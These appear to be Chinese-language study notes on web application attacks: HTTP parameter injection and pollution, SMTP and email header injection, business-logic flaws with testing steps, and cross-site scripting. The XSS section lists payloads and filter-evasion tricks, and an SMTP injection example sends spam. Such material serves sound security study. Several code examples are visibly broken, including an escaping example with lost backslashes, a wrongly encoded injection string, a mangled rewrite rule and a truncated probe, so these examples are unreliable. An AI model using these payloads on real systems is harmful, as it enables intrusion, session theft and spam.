    4. 尝试将受控的 Web 页面加载到应用程序的响应中,以实现跨站点脚本攻击;

有些服务器程序的重定向 API,例如 ASP.NET 中的 Server.Transfer 和 Server.Excecute,仅可重定向到同一主机上的相关URL,尽管如此,攻击者仍然可以利用信任关系,访问服务器上原本受保护的敏感资源;

HTTP 参数注入

示例:

1
2
3
4
5
6
# 客户端发起的 HTTP 请求
POST /bank/48/Default.aspx HTTP/1.0
Host: mdsec.net
Content-Length: 65

FromAccount=123&Amount=1000&ToAccount=456&Summit=Submit
1
2
3
4
5
# 应用程序基于客户端的输入,生成新的后端 HTTP 请求
POST /doTransfer.asp HTTP/1.0
Host: mdsec-mgr.ini.mdsec.net
Content-Lenght: 44
fromacc=123&Amount=1000&toacc=456&clearedfunds=false

由于应用程序检查后,发现账户上的余额不足,因此在发起的请求中添加了 clearedfunds=false 键值对来避免触发实际的转账,因此,攻击有可能伪造参数来触发转账

1
2
3
# 客户端发起的 HTTP 修改为
# 此处故意将请求参数中的等号 = 用 %3d 来表示,连接符 & 用 %26 表示,以利用应用程序将其解码为正确的符号):
FromAccount=123&Amount=1000&ToAccount=456%26clearedfunds%3dtrue&Summit=Submit

如果应用程序没有将用户的请求进行过滤,则其向其他组件发起的请求将变成如下:

1
2
# 应用程序未过滤用户输入时发起的请求变成如下:
fromacc=123&Amount=1000&toacc=456&clearedfunds=true

使用 HTTP 参数注入与 SOAP 注入的一个区别是,如果参数格式不对,SOAP 因为使用了 XML,会报错,从而为攻击者提供有用的反馈信息;但 HTTP 参数如果出现错误,一般不会报错,因此这会带来攻击上的困难,攻击者很难通过随机的方式猜测到参数是什么,但是如果应用程序使用的第三方组件的代码可以被查到,则攻击者可以通过查看这些代码的文档,找到其参数格式信息;

HTTP 参数污染

如果客户端发起的请求中,包括多个同名的键值对,HTTP 报文解析器会如何处理?不同的解析器会有不同的处理方式,常见的有以下几种:

  • 使用第一个键值对实例;
  • 使用最后一个实例;
  • 将同名键值对组成数组;
  • 不处理,串联多个参数值,添加某种分隔符;

如果应用程序使用最后一个或者第一个同名实例,都有可能让攻击者攻击成功;

攻击 URL 重写转换

许多服务器程序会将受到的客户端请求的 URL 路径部分进行重写,例如处理 REST 风格的参数,定制路由函数等;如果在重写的过程中,没有进行过滤检查,则攻击者可以利用访漏洞,进行参数污染;

示例:开发者在 Apache 中配置 mod_rewrite 规则用于处理可公共访问的用户资源

1
2
RewriteCond %{THE_REQUEST} ^[A-Z]{3, 9}\ /pub/user/[^\&]*\TP/
RewriteRule ^pub/user/([^/\.] +)$ /inc/user_mgr.php?mode=view&name=$1

该规则提取用户请求中的文件名,做为值,与 name 字段组成参数,传递给 user_mgr.php 页面进行处理

1
2
3
4
5
# 例如接受如下请求
/pub/user/marcus

# 之后转换为
/inc/user_mgr.php?mode=view&name=marcus

攻击者可在原始请求中注入另外 mode 来改变应用程序的行为

1
2
3
4
5
# 攻击者注入额外的参数值
/pub/user/marcus%26mode%30edit

# Apache 服务器转换后
/inc/user_mgr.php?mode=view&name=marcus&mode=edit

渗透测试步骤

  1. 轮流对每个请求参数进行测试,使用各种语法添加一个新注入的参数
    1. %26foo%3dbar,URL 编码的 &foo=bar
    2. %3bfoo%3dbar,URL 编码的 ;foo=bar
    3. %2526foo%253dbar,双重 URL 编码的 &foo=bar(将 % 百分比也做了一重编码)
  2. 确定任何修改后,不会改变应用程序行为的参数实例;
  3. 尝试在请求的不同位置注入一个已知的参数,看这样做是否会覆盖或修改现有的参数;
  4. 如果这样做会将旧值替换成新值,尝试是否可以通过注入一个由后端服务器读取的值,来避开任何前面确认机制;
  5. 用其他参数名称替换注入的已知参数(可通过解析应用程序的功能进行猜测和寻找线索);
  6. 测试应用程序是否允许在请求中多次提交同一个参数,在参数的前后,以及请求的不同位置提交多余的值,例如查询字符串、cookie 和消息主体中;

注入电子邮件

有些应用程序提供收集用户反馈的功能,例如关于产品的建议或者BUG,有些时候这类功能在后端使用电子邮件的形式来实现。即用户提交的输入,到了后端会发送给 SMTP 服务器,然后按照某种设定好的模板,发送给相关的人员;如果应用程序没有对用户的输入进行仔细净化的话,攻击者就有机会在提交的内容中,注入一些 SMTP 命令,从而控制 SMTP 服务器,实现一些非法行为,例如让 SMTP 服务器帮助攻击者发送垃圾邮件等;

操纵电子邮件头部

应用程序允许用户提交反馈的界面,用户可以在该界面中输入自己的邮件地址;之后,Web应用程序如 PHP 将调用 mail 函数,生成电子邮件,例如:

1
2
3
4
5
To: admin@wahh-app.com
From: marcus@wahh-mail.com
Subject: Site problem

xxxxxxxxx

如果应用程序的后端没有对用户输入的地址进行过滤,则攻击者可以在地址中注入有效的 SMTP 命令字符串,让 SMTP 将服务发送给其指定的任意收件人

PHP mail 命令将生成如下内容

1
2
3
4
5
6
To: admin@wahh-app.com
From: marcus@wahh-mail.com
Bcc: all@wahh-othercompany.com
Subject: Site problem

xxxxxxxxx

SMTP 命令注入

某些情况下,Web 应用程序会与 SMTP 服务器建立会话,传输数据内容;

用户端发起的请求,提交关于站点的反馈

1
2
3
4
5
POST feedback.php HTTP/1.1
Host: wahh-app.com
Content-Length: 56

From=daf@wahh-mail.com&Subject=Site+feedback&Message=foo

Web 应用程序与 SMTP 服务器建立的会话往来示例:

1
2
3
4
5
6
7
8
MAIL FROM: daf@wahh-mail.com
RCPT TO: feedback@wahh-app.com
DATA # 此处 SMTP 客户端发出 DATA 命令,应用程序接下来将开始发送消息的内容,包括消息头和消息体,并以点号表示结束
From: daf@wahh-mail.com
To: feedback@wahh-app.com
Subject: Site feedback
foo
. # 用单独一行的点等号表示消息的结束

如果应用程序没有对用户输入进行过滤的话,则攻击者可以利用这个漏洞,在消息中注入有效的 SMTP 命令,从而实现对 SMTP 服务器的控制;注入示例如下(在 subject 字段进行注入):

之后 Web 应用程序建立如下 SMTP 会话,生成了两个电子邮件,其中第二段由攻击者完全控制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
MAIL FROM: daf@wahh-mail.com
RCPT TO: feedback@wahh-app.com
DATA
From: daf@wahh-mail.com
To: feedback@wahh-app.com
Subject: Site feedback
foo
.
MAIL FROM: mail@wahh-viagra.com
RCPT TO: john@wahh-mail.com
DATA
From: mail@wahh-viagra.com
To: john@wahh-mail.com
Subject: Cheap V1AGR4
Blah
.
foo
.

查找 SMTP 漏洞

在解析应用程序的功能时,留意其中那些与电子邮件相关的功能,测试这些功能涉及的每一个参数,甚至那些可能与生成的消息无关的参数;

除了每一种攻击方式外,还注意各使用 Windows 和 Unix 的换行符来测试一遍,因为有时候并不知道后台使用的是哪一种操作系统;

渗透测试步骤

  • 轮流提交以下的测试字符串作为每一个参数,用于在相关位置插入电子邮件地址;
  • 留意应用程序返回的错误消息,根据错误消息,看是否跟电子邮件功能相关,如果是的话,考虑对提交的注入内容进行相应的调整,以利用漏洞;
  • 监控受控的邮箱,看是否收到邮件;
  • 仔细检查发出的 HTTP 请求,看是否存在与后端的电子邮件相关的线索,例如是否包含隐藏或禁用字段,用于指定电子邮件收件人等;

发送电子邮件功能经常被视为外围功能,而非核心功能,因此经常没有被重视,并采取足够的安全保障;电子邮件有时需要调用一些不常用的第三方组件,应用程序经常直接调用操作系统的命令来执行它们,因此还经常隐藏着 OS 命令的注入漏洞,应对其进行仔细的检查;

防止 SMTP 注入

防止 SMTP 注入的办法用户提交的任何数据进行严格的检查

  • 根据一个适当的正则表达式检查电子邮件地址,例如拒绝所有的换行符;
  • 消息主题不得包含任何的换行符,并应实施适当的长度限制;
  • 如果消息内容会被 SMTP 会话直接使用,则应在消息内容中禁止使用只有一个点字符的消息行;

小结

一般来说,实施有效攻击的关键在于从直觉上了解漏洞的位置,以及如何对其加以利用;获得这种直觉的方式在于实践,在现实的应用程序中,演练前面提到的各种攻击技巧,并观察应用程序如何对攻击作出反应,从而建立对应用程序行为与漏洞有关联的直觉。

11. 攻击应用程序逻辑

计算机不外乎做两种计算,一种是逻辑计算,一种是算术计算;所有复杂的应用程序功能,最后都将拆解成由简单的逻辑和算术计算来构成;人们常常只关注那些常见的漏洞,例如 SQL 注入或者跨站点脚本,却往往忽略了程序中的逻辑漏洞其实它们无处不在,尤其是当应用程序是由多名水平参差不齐的开发者来共同完成的时候;这些漏洞经常是与应用程序功能紧密相关和唯一的,它们很隐蔽,无法被常规的漏洞扫描器所发现;

逻辑缺陷的本质

逻辑缺陷本质上来源于开发者的设计缺陷,由于开发者在设计过程,做出某种错误的假设,导致应用程序在某些条件下,将出现预期外的行为;只要开发者的水平没有显著提高,这些漏洞缺陷将是不可避免和大量存在的。

现实中的逻辑缺陷

例子1:加密算法提示漏洞

有些应用程序为了减少用户登录的次数,会将用户信息加密成一个长久有效的 cookie 值,存储在浏览器中;正常情况下,攻击者是无法破解该加密后的 cookie 值的,但是有些开发者还会将该加密算法应用于其他 cookie 字段,例如屏幕上显示的用户昵称;但好死不死的是,用户昵称是可以由用户自己指定的;因此,攻击者通过指定不同的用户昵称,就可以得到加密后的值;此时,攻击者可以将自己浏览器上加密后的 cookie 值做为昵称,经过加密算法解密后,得出原始值的格式;然后再按照相同的格式,尝试将其中的用户名替换为管理员的用户名,然后设置为昵称,这样就可以得到加密后的新 cookie 值;使用该 cookie 值,很可能就可以实现管理员登录;

渗透测试步骤

漏洞场景:使用令牌的程序

  • 在应用程序中找出使用加密值的位置(大多数情况下是使用散列值);
    • 查找应用程序中,任何对用户提交的值进行加密或者解密的位置;
    • 如发现应用程序使用某个加密值,尝试替代该加密值,然后观察程序是否会提示替代后的结果或报错;
    • 如有结果或报销,尝试利用该信息;
  • 查找应用程序中,当用户提交加密值,程序会在响应中显示对应的解密值的位置
    • 如有,说明提示漏洞存在;
    • 确认这种漏洞是否会导致敏感令牌泄露;
  • 查找应用程序中,当用户提交明文值,程序会在响应中显示对应的加密值的位置;
    • 如有,说明提示漏洞可能存在;
    • 尝试对该漏洞加以利用,例如通过指定任意值,让程序进行处理,得到有用的信息;

例子2:密码修改漏洞

有些程序为用户提供修改密码的功能,该功能要求客户端提交用户名、现有密码、新密码等字段组成;同时,该功能同时也面向管理员,即管理员也可以使用该功能修改自己的密码;两种角色的区别在于管理员不需要提供现有密码,后端的代码通过判断是否包含现有密码,来区别修改密码的用户是否为管理员角色;

这个漏洞的脑洞太大了,简直是致命的;攻击者可以利用该漏洞获得管理员的权限,并修改任意用户的现有密码;

渗透测试步骤

  • 在探查逻辑缺陷时,尝试轮流删除关键功能的请求中提交的每一个参数,例如 cookie、查询字符串、POST 参数等;
    • 删除参数名称的时候,同时也删除参数值,而不是将参数值设置为空字符串;
    • 一次仅攻击一个参数,确保可以覆盖后端代码逻辑中的每一个分支;
    • 如果该功能属于多阶段过程,务必要完成整个过程,因为很可能后面步骤会使用前面步骤中提交的并保存在会话中的数据;

例子3:步骤控制漏洞

在多步骤的功能中,很多开发者想当然的认为用户一定会按照界面上显示的内容,依次完成每一个环节,但事实上攻击者并不会这么做;攻击者会以任意顺序提交请求,从而绕过一些中间步骤,达到最终结果;

渗透测试步骤

  • 如果某个多阶段功能需要按预定顺序提交一系列请求,尝试按其他顺序提交请求;
    • 尝试完全忽略某些中间阶段;
    • 多次访问同一个阶段;
    • 推后访问前一个阶段;
  • 了解多阶段功能的阶段控制办法;
    • 例如多阶段功能的不同阶段的请求,可能都是访问的同一个 URL,并在参数中指定阶段序号参数或者阶段名称;
  • 猜测开发者做出的错误假设,判断主要受攻击面的点;
    • 设法找出如何违反这些假设的方法,从而让程序出现反常行为;
  • 在不按顺序访问程序时,如果程序出现异常行为,例如某个变量值和状态值异常;则此时很可能存在可以利用的有用错误信息,可用来进一步推断程序的内部机制,以便对攻击方法进行优化;

例子4:额外字段漏洞

开发者经常假设用户只会提交页面表单所指定的字段,但事实上攻击者可以提交额外的字段,来影响程序的行为;

因此,绝对不能读取客户端提交的整个请求对象,而是按需读取;如果需要读取很多字段,可以编写一个函数进行净化处理,返回一个按需读取后生成的新对象;

在多阶段的功能中,开发者经常在后面阶段中假设其收到的值,已经在前面的阶段中经过了严格的检查,但事实上,由于攻击可以直接访问任意一个阶段,这将导致后面阶段收到的值,其实是攻击者自行定义好的,根本没有经过前面阶段的代码的任何检查;

渗透测试步骤

  • 如果存在多阶段的功能,则应提取某个阶段提交的参数,然后尝试在另外一阶段提交该参数;
    • 如果程序的状态随参数的变化出现更新,则应进一步探索这种漏洞的衍生效果,看是否可以利用它来实施恶意的操作;
  • 某个功能可能使用不同的参数来区分用户,来产生不同的行为;观察不同角色的用户,就同一项功能,是否在提交的参数上有什么不同;
    • 如果有,就尝试以 B 用户的身份提交 A 用户的独有参数,观察该请求的衍生效果,猜测是否存在可利用的漏洞;

例子5:会话身份漏洞

开发者经常将用户信息保存在会话中,如果程序中存在某个功能(例如注册),允许更改会话中用户的的核心信息,则有可能存在伪造身份的漏洞,即攻击者先注册一个有效的会话,然后利用该功能,更改其会话中的身份信息,并跳转到程序中的其他页面,此时很可能能够扮演其他身份的用户;

渗透测试步骤

  • 如果应用程序存在水平权限或垂直权限隔离,则设法确定会话中存储了哪些与用户身份相关的信息;
  • 浏览某个功能区域,然后转换到另一个完全无关的区域,检查积聚的状态,是否会对应用程序的行为造成影响;

例子6:交易限额漏洞

假设某个程序有权在两个受控的账户之间进行转账(例如银行账户),并设置转账限额,超过限额后需要审批;限额判断的代码容易犯一个错误,即忘记处理输入值为负数的情况,此时有可能导致反向转账成功;

渗透测试步骤

规避交易限制的第一步,是先确认当前的输入控制接受哪些字符,不接受哪些字符

  • 试着输入负值,观察程序是否能够正常处理;
  • 如果能够正常处理,此时有可能需要为利用漏洞创造条件,例如确保转出账户上有足够的金额;(想起了虚拟平台被攻击的案例);

例子7:折扣计算漏洞

很多电商程序会提供折扣计算功能,即购物金额超过一定金额时,消费者能够享受到更大的折扣;开发者有时会忘记处理逆向场景,即当消费者将商品从购物车移走时,需要重新计算折扣,导致消费者可以利用这个漏洞,先添加在大量商品,触发折扣条件,然后再移除不需要的商品;

渗透测试步骤

  • 检查应用程序中,是否存在价格或其他敏感价值的东西,需要根据用户输入的数据进行调整的情况;
  • 如果有,了解程序使用的算法和调整的逻辑;
  • 检查这些调整是一次性的行为,还是非一次性行为;
  • 发挥想象力,想出一种操纵办法,让调整行为与开发者的预设相矛盾;

例子8:转义符漏洞

为了避免注入漏洞,开发者会对敏感字符进行限制,但是开发者经常只控制一层(没有递归),导致攻击者可能会使用两层甚至多层转义的办法,来绕过开发者的限制;

例如:开发者会设置敏感字符列表,然后对列表中的字符添加转义符;当用户提交 foo;ls 时,开发者会对其中的敏感字符分号添加转义符,最终变成 foo;ls

但是,攻击者会尝试提交 foo;ls,这样一来,按照开发者的处理逻辑,最终字符串变成了 “foo\;ls”,转义符本身被转义,shelll 可以接受以上命令并执行,攻击者的注入意图得以实现;

渗透测试步骤

在探查程序是否存在注入缺陷时,尝试在受控制的数据中,插入相关元字符后,再在每个元字符前插入一个反斜线,对元字符符进行转义,观察程序程序的反应;

一些处理跨站点脚本攻击的代码中,也经常使用转义符来净化用户提交的数据,但是它们经常忘了对转义符本身进行处理;

例子9:过滤截短漏洞

开发者在防范 SQL 注入漏洞时,会使用过滤和长度限制两种方法;一种常见的过滤方法是对引号进行配对,这样就可以避免攻击者使用引号;在做长度限制时,有些开发者不是直接报错,而是对输入进行截短;攻击者此时可以巧妙的利用截短功能,来使用引号配对功能失效,从而能够实施注入攻击;

一开始并不需要知道开发者实施的长度限制是多少,攻击者只需要轮流提交奇数个和偶数个由引号组成的长字符串,并观察程序是否报错,即可确认长度限制为多少;

渗透测试步骤

记下应用程序中修改用户输入的所有位置(例如截短、删除数据、编码、解码等);对于观察到每一个位置,检查是否可以人为构造恶意字符串;

  • 如果输入数据已经被过滤了一次(非递归),确认是否可以提交一个“补偿”过滤的字符串;例如:假设程序会过滤着关键字 SELECT,则尝试提交 SELECTSELECT,看程序是否会在过滤后,留下一个 SELECT;
  • 如果程序中存在多步骤的行为,则可以检查是否可以利用后面的步骤,来破坏上一个步骤的过滤结果;

例子10:搜索功能漏洞

有些应用程序提供全局搜索功能,即搜索所有文档,但有时这些文档只是部分公开,攻击者可以利用搜索功能,反复提交各种关键字组合,从而推断出文档的内容,获取一些敏感数据;

例子11:调试信息漏洞

当一个新产品上线时,前期不可避免会存在大量功能上的缺陷,开发者为了方便调试,经常会让程序返回一些与错误相关的数据,有时候这些数据是很敏感的,例如用户的令牌、用户名、请求参数等;开发者有时会将这些数据保存在某个全局变量,然后使用某个 URL 指向它,然后通过重定向返回错误提示数据;

如果访问错误提示数据的 URL 是固定的或者可以预测的,那些攻击者可以通过反复访问该 URL,来获取一段时间内所有的错误提示,从而获取到一大堆用户敏感数据,甚至当管理员访问出错时,就可以直接得到管理员的敏感数据,从而攻陷整个程序;

渗透测试步骤

  • 先罗列出程序中所有可能出现的反常事件和条件(以便创造条件触发它们),以及使用非常规的方式返回有用的用户令牌的情况(例如返回调试信息);
  • 同时使用两名用户的账户登录并使用应用程序,使用一名用户系统性的触发每个条件,观察另外一个用户是否会受到影响;

例子12:全局变量漏洞

经验不足的开发者有时会将某个用户信息保存在全局变量中,以供另外一个位置的函数能否进行访问;当用户数量足够多时,有可能同时有两名用户触发保存该变量的条件,此时会形成竞态条件,从而使得一名用户有机会访问另外一名用户的信息;

渗透测试步骤

这种漏洞很难发现,因为它需要比较极端的条件,同时错误不容易复现

  • 针对关键功能进行测试,例如登录机制,密码修改功能、转账功能等;
  • 该关键功能要求用户提交一个或多个请求;
  • 找出确认用户请求提交成功的判断方法,即用户请求的数据,能够被查看核对;
  • 使用多台机器,从不同的网络位置发起请求,反复执行请求操作,检查每项操作是否达到预期的结果;
  • 由于程序将面临高负载访问,做好接收错误警报的准备;

避免逻辑缺陷

由于逻辑缺陷是由于开发者在功能设计中考虑不周造成的,因此它出现的形式多种多样,并没有什么统一的规律;但仍然存在一些最佳实践能够尽量减少漏洞出现的概率;

  • 确保将应用程序的设计信息尽量清楚详细的记录在文档中,以方便其他人了解设计者在设计过程中做出的相关假设,从而不同人可以站在不同的视角,来判断其他假设是否隐藏潜在的漏洞;
  • 要求所有的源代码提供清楚的注释,包括:
    • 每个代码组件的用途和使用方法;
    • 每个组件对其接收的内容的假设;
    • 进行代码的安全审查时,思考开发者的假设,是否任何被违背的可能性,尤其是当输入是能否被用户完全控制的时候;
    • 进行代码的安全审查时,思考两个问题:程序如何处理用户的异常行为和输入;功能依赖的不同组件之间是否可能造成相互影响;

铭记以下内容:

  • 用户可以控制请求的所有内容;
  • 仅根据会话确定用户的身份与权限;不根据请求中的内容对用户的权限做出任何假设;
  • 当根据用户的请求,对会话数据进行操作时,考虑可能给程序功能造成什么影响;很多时候影响是跨开发者的,即影响了其他程序员开发的功能;
  • 如果某个搜索功能能否访问用户本应无法访问的敏感信息,则应该确保用户无法使用该功能,或者无法根据搜索结果提取有用的信息,或者根据当前用户的信息执行动态的搜索;
  • 在双重授权模型中,考虑一个高级权限用户,创建另外一个相同权限用户的可能影响;

小结

探查逻辑缺陷的关键点,在于洞查开发者的思维方式,他们会如何完成某个功能,会走哪些捷径,会做出哪种错误的假设,通常会犯下什么错误、当开发时间紧张时会漏考虑什么问题等;

12. 攻击其他用户

XSS 的分类

反射型 XSS 漏洞

提取用户提交的输入,并将其插入到服务器响应的 HTML 代码中,是 XSS 漏洞的一个明显特征;一个常见的场景是开发者通常会写好一些模板,然后提取用户的输入,插入到模板中的指定位置,生成最终发给浏览器的 HTML 文件;此时,如果攻击者在输入中混入 js 代码,则服务器发回的 HTML 文件,将会触发 js 代码的执行;

这个漏洞能否利用成功的关键点在于,攻击者要诱使用户访问一个由攻击者提供的链接,这个链接将指向攻击者想要攻击的网站,而不是攻击者自己的网站;之后,由于浏览器的同源策略,当用户对某个网站发起请求时,浏览器会执行该网站返回的脚本,并允许其访问网站域名对应的浏览器端数据(例如 cookie);由于脚本是由攻击者设计并插入的,是一段恶意的脚本;该脚本获得目标网站的敏感数据后,再将数据发至攻击者自己的服务器;

保存型 XSS 漏洞

A 用户提交的数据,未经过滤或者净化即显示给 B 用户,则可能产生此类漏洞;例如应用程序有运行终端用户进行交互的功能,或者具有管理权限的员工访问普通用户提交的数据的功能;

严格意义来说,保存型漏洞算不上跨站点的XSS 类型了,因为在整个过程中并没有涉及第二个站点,都一直是在同一个站点中;

基于 DOM 的 XSS 漏洞

反射型 XSS 的原理是由服务端将恶意代码插入到 HTML 标签中,被客户端浏览器加载后,即可被执行;DOM 型 XSS 是将恶意代码放在参数中,由应用程序 HTML 页面的正常 JS 脚本去提取它,然后触发被执行(感觉有点类似于一个二阶的反射型 XSS);

进行中的 XSS 攻击

真实 XSS 攻击

案例一:Apache 问题反馈

Apache 基金会官网有一个问题追踪的功能存在反射型 XSS 漏洞,攻击者利用该功能发布了一个恶意链接,诱使其他用户点击;当管理员点击时,他的会话将会发给攻击者;攻击者利用管理员的身份登录后,获得应用程序的管理员权限;然后修改了某个项目默认上传文件夹的位置,将其更改为 Web 根目录中的可执行目录;之后,攻击者向该目录上传了一个木马登录表单,从而获取特权用户的用户名和密码;由于很多用户经常在不同系统中使用相同的密码,攻击者进一步扩大了其攻击范围,延伸到了当前 Web 应用程序之外;

案例二:MySpace 个人资料

MySpace 社交网站的用户资料页存在保存型的 XSS 漏洞,虽然其对用户的输入进行了过滤,但是不彻底;攻击者在自己的个人资料介绍页中插入脚本,当其他用户尝试看他的资料时,就会触发脚本的执行;该脚本会触发浏览器执行一系列的操作,包括将攻击者添加为用户的好友,并将脚本进一步插入到用户的个人资料页中,这样当用户的好友查看当前用户资料页,脚本就会呈指数级的进一步扩散;短短几个小时,就有一百多万人将攻击者添加为好友;

案例三:电子邮件

电子邮件允许内容为 HTML 格式,同时很多电子邮件程序提供网页版,因此攻击者可以向其他用户发送带有恶意脚本的电子邮件;当邮件在浏览器端被打开时,脚本即可以被浏览器触发执行;(电子邮件是保存型 XSS 漏洞的天然场所);

案例四:Twitter

Twitter 网站曾经成为保存型和 DOM 型漏洞的受害者,原因在于 Twitter 在其客户端大量使用类似 Ajax 的代码,从而使得脚本有机会被触发;

XSS 攻击方法

传播假消息

当某个公司的网站存在保存型 XSS 漏洞时,攻击者可以利用访漏洞,向目标网站注入精心设计的页面,让其看起来像真的一样;当不明真相的用户访问该网站时,会被这些以假乱真的信息所误导,甚至会触发媒体进一步报导,会引发市场恐慌,影响公司股价,之后攻击者可以从中获取利益;

注入木马功能

攻击者在目标网站中注入恶意代码,诱使用户执行一些有害操作,例如输入敏感数据(例如证书),然后发送给攻击者;之后攻击者就可以使用该用户的身份登录目标网站,实现自己的利益(很多钓鱼网站的套路);

另外一种诱使的办法是以某种非常有吸引力的条件为诱饵,要求用户输入他们的敏感信息,例如信用卡信息;由于此时的 URL 是指向真实的域名,所有用户很容易上当;

提升权限

仅仅得到普通用户的会话有时并没有什么特别大的用处,因为攻击者不可能时时监控他的服务器,同时当他代表用户进行操作时,也会在应用程序中留下非用户电脑的登录记录;更好的办法是注入自动化的脚本,该脚本会尝试提升攻击者账户的权限,通常来说这会失败;但是等待一段时间,当管理员登录并触发恶意脚本时,提升权限的动作就会成功,成功相当隐蔽,不容易被察觉和发现;

自动填写的表单、本地程序、ActiveX控件

XSS 能够是建立在浏览器默认会信用由当前网站提供的脚本,然后执行它;事实上,还存在着其他一些信任关系可以利用,包括:

  • 有些应用程序提供自动完成表单的功能,当该功能被激活后,恶意脚本可以先实例化一个虚拟的表单,触发浏览器会将缓存信息自动填写到表单中,然后恶意脚本就可以访问表单中的内容,发送给攻击者;
  • 一些 Web 应用程序会要求用户将其域名添加到可信站点,这个操作其实是变相提高了 Web 程序在用户本地电脑的权限;当 Web 程序存在 XSS 漏洞时,攻击者就可以利用该漏洞和已经提升后的权限,在用户的电脑上执行更高权限的操作,例如启动某个本地程序;
  • 一些 Web 应用程序为加强客户端的功能,可能提供具备强大方法的 ActiveX 控件,当漏洞被攻击者发现和利用后,攻击者可以进一步利用控件中的方法,来完成恶意操作;

XSS 漏洞不仅仅会影响因特网上的 Web 应用程序,同时也会影响内网中的应用程序,例如保存型脚本可以利用邮件在同事之间传播,并利用内网服务器经常信任其域内计算机的特点,攻击内网中的应用程序;

XSS 攻击的传送机制

传送反射型与基于 DOM 的 XSS 攻击

发邮件或即时消息
  • 当攻击者利用漏洞设计好攻击脚本后,他可以有针对性的发给特定用户,例如管理员,假装抱怨网站的某个功能不可用,诱使管理员打开邮件,触发恶意脚本的执行;许多应用程序还提供“推荐给朋友”或者“提交反馈”的功能,这种功能经常会生成一封电子邮件,有时内容和收件人可由用户自定义;攻击者可以邮件内容中插入恶意脚本,当收件人当开时,触发脚本的执行;尤其是被管理员打开时最有用;
  • 在即时消息中向目标用户提供一个包含恶意脚本或参数的 URL;
第三方网站
  • 很多第三方网站允许用户发布 HTML 内容,例如论坛;攻击者可以利用该功能,在第三方网站上发布某个携带恶意 URL 的内容,诱使其他用户点击;该 URL 实际指向的是攻击者服务器的一段恶意脚本,当用户在不知情的情况下点击该 URL,浏览器将会请求恶意脚本到用户的电脑上,并触发脚本的执行;
  • 攻击者可以付费发布广告,然后在广告中包含某个指向漏洞网站的 URL,诱使用户点击,触发脚本执行;很多公司会付费进行推广,同时设计相关的广告;攻击者可以设计一个类似的广告,让它看起来像真的一样,并付费让其混杂在该公司的实际广告中,这种做法非常以假乱真,用户有很大概率会点击;该做法相当于攻击者付费买进了大量的用户会话;
自建站点
  • 攻击者可以自建站点,包含一些有吸引力的内容,同时也包含一些恶意脚本,触发用户向易受攻击的应用程序提出包含 XSS 的语法;如果用户刚好登录了易受攻击的应用程序,并且碰巧浏览了攻击者的站点,攻击者就有机会获得用户的会话;
  • 攻击者可以在自建站点上模拟搜索引擎的功能,当用户提交搜索的关键字后,攻击者向用户展示搜索结果,诱使用户点击看上去最相关的内容,但实际上内容的链接指向的是某个易受攻击的网站;

传送保存型 XSS 攻击

带内传送

攻击者控制的数据,通过应用程序本身的 Web 界面提交给应用程序,并最终在 Web 界面上呈现,常见显示位置包括:

  • 个人信息字段:例如姓名、电子邮件、地址、电话等;
  • 文档、上传文件和其他数据的名称;
  • 提交给管理员的反馈或问题;
  • 向其他应用程序用户传送的消息、注释、问题等;
  • 记录在应用程序日志中,管理员通过浏览器进行查看的内容,例如 URL, 用户名, HTTP Referer, User-Agent 等;
  • 在用户之间共享的上传文件内容等;
带外传送

在应用程序之外的界面上显示控制数据,例如通过电子邮件发送恶意链接,诱使受害者进行点击;链接最终在受害者的邮件页面上显示,而不是受攻击的应用程序界面上显示;

漏洞复合攻击

有时候单个漏洞可能属于风险极低的漏洞,虽然漏洞存在,但对于攻击者来说可能并没有利用的价值;但是当多个低风险的漏洞同时存在,并可以整合利用时,有可能会变成一个大漏洞;

例1:昵称只有本人可见的功能,是一个小漏洞,但同时用户有权限修改其他用户的昵称,则它将变成一个巨大的漏洞;

例2:应用程序中包含保存型 XSS 漏洞,同时仅向用户显示的个人数据存在跨站请求伪造的漏洞,二者结合将变成一个巨大的漏洞;

查找并利用 XSS 漏洞

使用某个设计的字符串,将其作其参数值,提交给应用程序页面上的每一个参数,监控应用程序的响应,但该字符串是否会出现在响应中,如果会的话,表示程序很可能存在 XSS 漏洞;

常见的漏洞验证字符串 “> 的编码;

事件

很多标签都支持各种各样的事件,有些事情甚至不需要用户做任何交互即可执行,因此,只要将事件插入到标签的属性中,就可以让脚本得以执行;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-不需要交互需要可执行的脚本->
<xml onreadystatechange=alert(1)></xml>
<style onreadystatechange=alert(1)></style>
<iframe onreadystatechange=alert(1)></iframe>
<object onerror=alert(1)></object>
<object type=image src=valid.gif onreadystatechange=alert(1)></object>
<img type=image src=valid.gif onreadystatechange=alert(1)>
<input type=image src=valid.gif onreadystatechange=alert(1)>
<isindex type=image src=valid.gif onreadystatechange=alert(1)></isindex>
<script onreadystatechange=alert(1)></script>
<bgsound onreadystatechange=alert(1)></bgsound>
<body onbeforeactivate=alert(1)></body>
<body onactivate=alert(1)></body>
<body onfocusin=alert(1)></body>
1
2
3
4
5
6
7
8
<input autofocus onfocus=alert(1)>
<input autofocus onblur=alert(1)>
<body onscroll=alert(1)></body>
<video src=1 onerror=alert(1)></video>
<audio src=1 onerror=alert(1)></audio>

<!-HTML5 允许在结束标签中使用事件处理器->
<a></a onmousemove=alert(1)>
伪源

HTML 中有些标签的脚本也支持插入脚本,例如 object、a、iframe、embed 等;

1
2
3
4
5
6
7
8
<object data=javascript:alert(1)></object>
<iframe src=javascript:alert(1)></iframe>
<embed src=javascript:alert(1)>
<event-source src=javascript:alert(1)></event-source>

<form id="test">
<button form="test" formaction=javascript:alert(1)>
</form>

HTML5 引入的 event-source 标签特别有用,因为该标签包含一个连字符,这意味着传统的正则表达式过滤机制需要支持它,从而引入了新的漏洞可能性;

动态样式

HTML 支持在标签的 style 属性中使用表达式,来对标签的样式进行求值,这意味着可以利用该特性,插入恶意脚本

1
<x style=behavior:url(#default#time2) onbegin=alert(1)></x>
避开过滤:HTML

一些应用程序使用正规表达式,对于前面提到的各种插入办法的输入进行过滤,为了避开过滤,需要对输入进行模糊处理,常用的方法如下:

标签名称

改变标签名称的大小写

1
<iMg onerror=alert(1) src="a">

在任意位置插入 NULL 字节

1
2
3
<[%00]img onerror=alert(1) src="a"></[%00]img>
<i[%00]mg onerror=alert(1) src="a"></i[%00]mg>
<!-此处的 %XX 格式表示某个字符的 ASCII 的十六进制编码->

NULL 常常可以有效应用防火墙的过滤,因为防火墙程序通常将 NULL 识别为字符串的终止符,从而无法发现 NULL 字节后的恶意插入;

直接修改标签名称,以避开针对标签名称的过滤

1
<x onclick=alert(1) src=a>Click here</x>

